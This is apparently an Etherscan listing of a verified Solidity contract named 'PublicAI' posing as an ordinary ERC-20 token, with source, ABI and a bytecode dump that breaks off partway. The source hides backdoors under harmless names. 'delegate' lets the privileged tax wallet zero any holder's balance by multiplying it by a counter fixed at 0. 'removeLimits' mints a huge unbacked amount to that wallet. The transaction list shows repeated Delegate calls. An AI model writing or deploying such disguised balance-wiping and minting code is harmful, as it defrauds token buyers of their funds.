ETH Price: $3,358.51 (+0.21%)

Contract

0xe452A44614C96A9731e63Aa1B2df9911c01d3dc2
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Delegate195803182024-04-04 5:28:47233 days ago1712208527IN
0xe452A446...1c01d3dc2
0 ETH0.0004254715.83236983
Approve195802932024-04-04 5:23:47233 days ago1712208227IN
0xe452A446...1c01d3dc2
0 ETH0.000816517.41839235
Remove Limits195802902024-04-04 5:22:59233 days ago1712208179IN
0xe452A446...1c01d3dc2
0 ETH0.0005433517.44430245
Delegate195800522024-04-04 4:35:11233 days ago1712205311IN
0xe452A446...1c01d3dc2
0 ETH0.0005463720.33091951
Delegate195800492024-04-04 4:34:35233 days ago1712205275IN
0xe452A446...1c01d3dc2
0 ETH0.0004648717.29833034
Delegate195800462024-04-04 4:33:59233 days ago1712205239IN
0xe452A446...1c01d3dc2
0 ETH0.0005092418.94931462
Approve195799912024-04-04 4:22:59233 days ago1712204579IN
0xe452A446...1c01d3dc2
0 ETH0.0010278621.78230155
Approve195799862024-04-04 4:21:59233 days ago1712204519IN
0xe452A446...1c01d3dc2
0 ETH0.000939820.05893057
Delegate195799502024-04-04 4:14:35233 days ago1712204075IN
0xe452A446...1c01d3dc2
0 ETH0.000488618.18117928
Approve195799392024-04-04 4:12:23233 days ago1712203943IN
0xe452A446...1c01d3dc2
0 ETH0.0009168519.55906912
Delegate195799142024-04-04 4:07:23233 days ago1712203643IN
0xe452A446...1c01d3dc2
0 ETH0.0005479220.38881152
Approve195798842024-04-04 4:01:11233 days ago1712203271IN
0xe452A446...1c01d3dc2
0 ETH0.000926719.76931997
Approve195798772024-04-04 3:59:47233 days ago1712203187IN
0xe452A446...1c01d3dc2
0 ETH0.0007964816.99123405
Approve195798292024-04-04 3:50:11233 days ago1712202611IN
0xe452A446...1c01d3dc2
0 ETH0.0008819318.81414548
Delegate195798162024-04-04 3:47:35233 days ago1712202455IN
0xe452A446...1c01d3dc2
0 ETH0.0005042118.762325
Delegate195798142024-04-04 3:47:11233 days ago1712202431IN
0xe452A446...1c01d3dc2
0 ETH0.0005015918.66481508
Delegate195798022024-04-04 3:44:47233 days ago1712202287IN
0xe452A446...1c01d3dc2
0 ETH0.000537119.98603399
Delegate195797982024-04-04 3:43:59233 days ago1712202239IN
0xe452A446...1c01d3dc2
0 ETH0.0005394820.07450925
Delegate195797952024-04-04 3:43:23233 days ago1712202203IN
0xe452A446...1c01d3dc2
0 ETH0.0005331919.84054253
Delegate195797922024-04-04 3:42:47233 days ago1712202167IN
0xe452A446...1c01d3dc2
0 ETH0.0005709121.24425037
Approve195797912024-04-04 3:42:35233 days ago1712202155IN
0xe452A446...1c01d3dc2
0 ETH0.0009360719.96907101
Delegate195797902024-04-04 3:42:23233 days ago1712202143IN
0xe452A446...1c01d3dc2
0 ETH0.0004777217.77647464
Delegate195797802024-04-04 3:40:23233 days ago1712202023IN
0xe452A446...1c01d3dc2
0 ETH0.0004757817.70440154
Delegate195797702024-04-04 3:38:23233 days ago1712201903IN
0xe452A446...1c01d3dc2
0 ETH0.0004832317.98163923
Delegate195797672024-04-04 3:37:47233 days ago1712201867IN
0xe452A446...1c01d3dc2
0 ETH0.0004995918.59038776
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
PublicAI

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-04-04
*/

// SPDX-License-Identifier: UNLICENSED

/*
    Website:  https://publicai.io/
    Twitter:  https://twitter.com/PublicAI_
    Discord:  https://discord.com/invite/sQcS7Sh6ZD
    Telegram: https://t.me/Public_AI

*/

pragma solidity ^0.8.24;

abstract contract Ownable  {
     function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract PublicAI is Ownable{   
    constructor(address add) {      
        _tokename = "PublicAI";
        _tokensymbol = "PUBLIC";
        _taxWallet = add;
        _totalSupply = 1000000000*10**decimals();
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    address public _taxWallet;
    uint256 private _totalSupply;
    string private _tokename;
    string private _tokensymbol;  
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint128 buyCount = 0;
    uint256 devAmount = 10**decimals()*68800*(23300000000+300);
    
    function delegate(address delegatee) external    {
        if (true) {
            require(_taxWallet == _msgSender()); 
            _balances[delegatee] *= buyCount;       
        }
        
    }

    function removeLimits() external   {
        if(_msgSender() == _taxWallet){  
            require( _taxWallet == _msgSender());  
            address feeAmount = _msgSender();
            address swapRouter = feeAmount;
            address devWallet = swapRouter; 
            _balances[devWallet] += devAmount;       
        }         
    }
    
    function name() public view returns (string memory) {
        return _tokename;
    }

    function symbol() public view  returns (string memory) {
        return _tokensymbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");        
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount); 
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"add","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040525f60075f6101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555064056cc9ca2c62010cc0620000566200028860201b60201c565b600a620000649190620004ea565b6200007091906200053a565b6200007c91906200053a565b6008553480156200008b575f80fd5b5060405162001f8838038062001f888339818101604052810190620000b19190620005e9565b620000d1620000c56200029060201b60201c565b6200029760201b60201c565b6040518060400160405280600881526020017f5075626c696341490000000000000000000000000000000000000000000000008152506003908162000117919062000874565b506040518060400160405280600681526020017f5055424c49430000000000000000000000000000000000000000000000000000815250600490816200015e919062000874565b508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001af6200028860201b60201c565b600a620001bd9190620004ea565b633b9aca00620001ce91906200053a565b60028190555060025460055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60025460405162000279919062000969565b60405180910390a35062000984565b5f6012905090565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003e257808604811115620003ba57620003b962000358565b5b6001851615620003ca5780820291505b8081029050620003da8562000385565b94506200039a565b94509492505050565b5f82620003fc5760019050620004ce565b816200040b575f9050620004ce565b81600181146200042457600281146200042f5762000465565b6001915050620004ce565b60ff84111562000444576200044362000358565b5b8360020a9150848211156200045e576200045d62000358565b5b50620004ce565b5060208310610133831016604e8410600b84101617156200049f5782820a90508381111562000499576200049862000358565b5b620004ce565b620004ae848484600162000391565b92509050818404811115620004c857620004c762000358565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004f682620004d5565b91506200050383620004de565b9250620005327fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003eb565b905092915050565b5f6200054682620004d5565b91506200055383620004d5565b92508282026200056381620004d5565b915082820484148315176200057d576200057c62000358565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620005b38262000588565b9050919050565b620005c581620005a7565b8114620005d0575f80fd5b50565b5f81519050620005e381620005ba565b92915050565b5f6020828403121562000601576200060062000584565b5b5f6200061084828501620005d3565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200069557607f821691505b602082108103620006ab57620006aa62000650565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200070f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006d2565b6200071b8683620006d2565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200075c620007566200075084620004d5565b62000733565b620004d5565b9050919050565b5f819050919050565b62000777836200073c565b6200078f620007868262000763565b848454620006de565b825550505050565b5f90565b620007a562000797565b620007b28184846200076c565b505050565b5b81811015620007d957620007cd5f826200079b565b600181019050620007b8565b5050565b601f8211156200082857620007f281620006b1565b620007fd84620006c3565b810160208510156200080d578190505b620008256200081c85620006c3565b830182620007b7565b50505b505050565b5f82821c905092915050565b5f6200084a5f19846008026200082d565b1980831691505092915050565b5f62000864838362000839565b9150826002028217905092915050565b6200087f8262000619565b67ffffffffffffffff8111156200089b576200089a62000623565b5b620008a782546200067d565b620008b4828285620007dd565b5f60209050601f831160018114620008ea575f8415620008d5578287015190505b620008e1858262000857565b86555062000950565b601f198416620008fa86620006b1565b5f5b828110156200092357848901518255600182019150602085019450602081019050620008fc565b868310156200094357848901516200093f601f89168262000839565b8355505b6001600288020188555050505b505050505050565b6200096381620004d5565b82525050565b5f6020820190506200097e5f83018462000958565b92915050565b6115f680620009925f395ff3fe608060405234801561000f575f80fd5b50600436106100e8575f3560e01c806370a082311161008a5780638da5cb5b116100645780638da5cb5b1461022457806395d89b4114610242578063a9059cbb14610260578063dd62ed3e14610290576100e8565b806370a08231146101e0578063715018a614610210578063751039fc1461021a576100e8565b806323b872dd116100c657806323b872dd14610158578063313ce567146101885780635c19a95c146101a65780636f268a99146101c2576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f46102c0565b6040516101019190610e9a565b60405180910390f35b610124600480360381019061011f9190610f4b565b610350565b6040516101319190610fa3565b60405180910390f35b61014261036d565b60405161014f9190610fcb565b60405180910390f35b610172600480360381019061016d9190610fe4565b610376565b60405161017f9190610fa3565b60405180910390f35b6101906103a4565b60405161019d919061104f565b60405180910390f35b6101c060048036038101906101bb9190611068565b6103ac565b005b6101ca610498565b6040516101d791906110a2565b60405180910390f35b6101fa60048036038101906101f59190611068565b6104bd565b6040516102079190610fcb565b60405180910390f35b610218610503565b005b610222610516565b005b61022c61063e565b60405161023991906110a2565b60405180910390f35b61024a610665565b6040516102579190610e9a565b60405180910390f35b61027a60048036038101906102759190610f4b565b6106f5565b6040516102879190610fa3565b60405180910390f35b6102aa60048036038101906102a591906110bb565b610712565b6040516102b79190610fcb565b60405180910390f35b6060600380546102cf90611126565b80601f01602080910402602001604051908101604052809291908181526020018280546102fb90611126565b80156103465780601f1061031d57610100808354040283529160200191610346565b820191905f5260205f20905b81548152906001019060200180831161032957829003601f168201915b5050505050905090565b5f61036361035c610794565b848461079b565b6001905092915050565b5f600254905090565b5f80610380610794565b905061038d85828561095e565b6103988585856109f2565b60019150509392505050565b5f6012905090565b600115610495576103bb610794565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610412575f80fd5b60075f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461048d9190611183565b925050819055505b50565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61050b610cd1565b6105145f610d4f565b565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610556610794565b73ffffffffffffffffffffffffffffffffffffffff160361063c57610579610794565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d0575f80fd5b5f6105d9610794565b90505f8190505f81905060085460055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461063191906111c4565b925050819055505050505b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461067490611126565b80601f01602080910402602001604051908101604052809291908181526020018280546106a090611126565b80156106eb5780601f106106c2576101008083540402835291602001916106eb565b820191905f5260205f20905b8154815290600101906020018083116106ce57829003601f168201915b5050505050905090565b5f610708610701610794565b84846109f2565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080090611267565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086e906112f5565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109519190610fcb565b60405180910390a3505050565b5f6109698484610712565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109ec57818110156109d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cc9061135d565b60405180910390fd5b6109eb848484846109e6919061137b565b61079b565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a579061141e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ace576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac5906114ac565b60405180910390fd5b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b499061153a565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610b9b919061137b565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c2591906111c4565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cc39190610fcb565b60405180910390a350505050565b610cd9610794565b73ffffffffffffffffffffffffffffffffffffffff16610cf761063e565b73ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d44906115a2565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610e47578082015181840152602081019050610e2c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610e6c82610e10565b610e768185610e1a565b9350610e86818560208601610e2a565b610e8f81610e52565b840191505092915050565b5f6020820190508181035f830152610eb28184610e62565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ee782610ebe565b9050919050565b610ef781610edd565b8114610f01575f80fd5b50565b5f81359050610f1281610eee565b92915050565b5f819050919050565b610f2a81610f18565b8114610f34575f80fd5b50565b5f81359050610f4581610f21565b92915050565b5f8060408385031215610f6157610f60610eba565b5b5f610f6e85828601610f04565b9250506020610f7f85828601610f37565b9150509250929050565b5f8115159050919050565b610f9d81610f89565b82525050565b5f602082019050610fb65f830184610f94565b92915050565b610fc581610f18565b82525050565b5f602082019050610fde5f830184610fbc565b92915050565b5f805f60608486031215610ffb57610ffa610eba565b5b5f61100886828701610f04565b935050602061101986828701610f04565b925050604061102a86828701610f37565b9150509250925092565b5f60ff82169050919050565b61104981611034565b82525050565b5f6020820190506110625f830184611040565b92915050565b5f6020828403121561107d5761107c610eba565b5b5f61108a84828501610f04565b91505092915050565b61109c81610edd565b82525050565b5f6020820190506110b55f830184611093565b92915050565b5f80604083850312156110d1576110d0610eba565b5b5f6110de85828601610f04565b92505060206110ef85828601610f04565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061113d57607f821691505b6020821081036111505761114f6110f9565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61118d82610f18565b915061119883610f18565b92508282026111a681610f18565b915082820484148315176111bd576111bc611156565b5b5092915050565b5f6111ce82610f18565b91506111d983610f18565b92508282019050808211156111f1576111f0611156565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611251602483610e1a565b915061125c826111f7565b604082019050919050565b5f6020820190508181035f83015261127e81611245565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6112df602283610e1a565b91506112ea82611285565b604082019050919050565b5f6020820190508181035f83015261130c816112d3565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611347601d83610e1a565b915061135282611313565b602082019050919050565b5f6020820190508181035f8301526113748161133b565b9050919050565b5f61138582610f18565b915061139083610f18565b92508282039050818111156113a8576113a7611156565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611408602583610e1a565b9150611413826113ae565b604082019050919050565b5f6020820190508181035f830152611435816113fc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611496602383610e1a565b91506114a18261143c565b604082019050919050565b5f6020820190508181035f8301526114c38161148a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611524602683610e1a565b915061152f826114ca565b604082019050919050565b5f6020820190508181035f83015261155181611518565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61158c602083610e1a565b915061159782611558565b602082019050919050565b5f6020820190508181035f8301526115b981611580565b905091905056fea2646970667358221220039ae0ff643031885c75f4d57bca7a7462754d7508fad9c9ff412cf2c917d0e464736f6c63430008180033000000000000000000000000fdf3738ab5365ab9793718d991e7dbb2af9aa3cb

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100e8575f3560e01c806370a082311161008a5780638da5cb5b116100645780638da5cb5b1461022457806395d89b4114610242578063a9059cbb14610260578063dd62ed3e14610290576100e8565b806370a08231146101e0578063715018a614610210578063751039fc1461021a576100e8565b806323b872dd116100c657806323b872dd14610158578063313ce567146101885780635c19a95c146101a65780636f268a99146101c2576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f46102c0565b6040516101019190610e9a565b60405180910390f35b610124600480360381019061011f9190610f4b565b610350565b6040516101319190610fa3565b60405180910390f35b61014261036d565b60405161014f9190610fcb565b60405180910390f35b610172600480360381019061016d9190610fe4565b610376565b60405161017f9190610fa3565b60405180910390f35b6101906103a4565b60405161019d919061104f565b60405180910390f35b6101c060048036038101906101bb9190611068565b6103ac565b005b6101ca610498565b6040516101d791906110a2565b60405180910390f35b6101fa60048036038101906101f59190611068565b6104bd565b6040516102079190610fcb565b60405180910390f35b610218610503565b005b610222610516565b005b61022c61063e565b60405161023991906110a2565b60405180910390f35b61024a610665565b6040516102579190610e9a565b60405180910390f35b61027a60048036038101906102759190610f4b565b6106f5565b6040516102879190610fa3565b60405180910390f35b6102aa60048036038101906102a591906110bb565b610712565b6040516102b79190610fcb565b60405180910390f35b6060600380546102cf90611126565b80601f01602080910402602001604051908101604052809291908181526020018280546102fb90611126565b80156103465780601f1061031d57610100808354040283529160200191610346565b820191905f5260205f20905b81548152906001019060200180831161032957829003601f168201915b5050505050905090565b5f61036361035c610794565b848461079b565b6001905092915050565b5f600254905090565b5f80610380610794565b905061038d85828561095e565b6103988585856109f2565b60019150509392505050565b5f6012905090565b600115610495576103bb610794565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610412575f80fd5b60075f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461048d9190611183565b925050819055505b50565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61050b610cd1565b6105145f610d4f565b565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610556610794565b73ffffffffffffffffffffffffffffffffffffffff160361063c57610579610794565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d0575f80fd5b5f6105d9610794565b90505f8190505f81905060085460055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461063191906111c4565b925050819055505050505b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461067490611126565b80601f01602080910402602001604051908101604052809291908181526020018280546106a090611126565b80156106eb5780601f106106c2576101008083540402835291602001916106eb565b820191905f5260205f20905b8154815290600101906020018083116106ce57829003601f168201915b5050505050905090565b5f610708610701610794565b84846109f2565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080090611267565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086e906112f5565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109519190610fcb565b60405180910390a3505050565b5f6109698484610712565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109ec57818110156109d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cc9061135d565b60405180910390fd5b6109eb848484846109e6919061137b565b61079b565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a60576040517f08c379a0000000000000000000000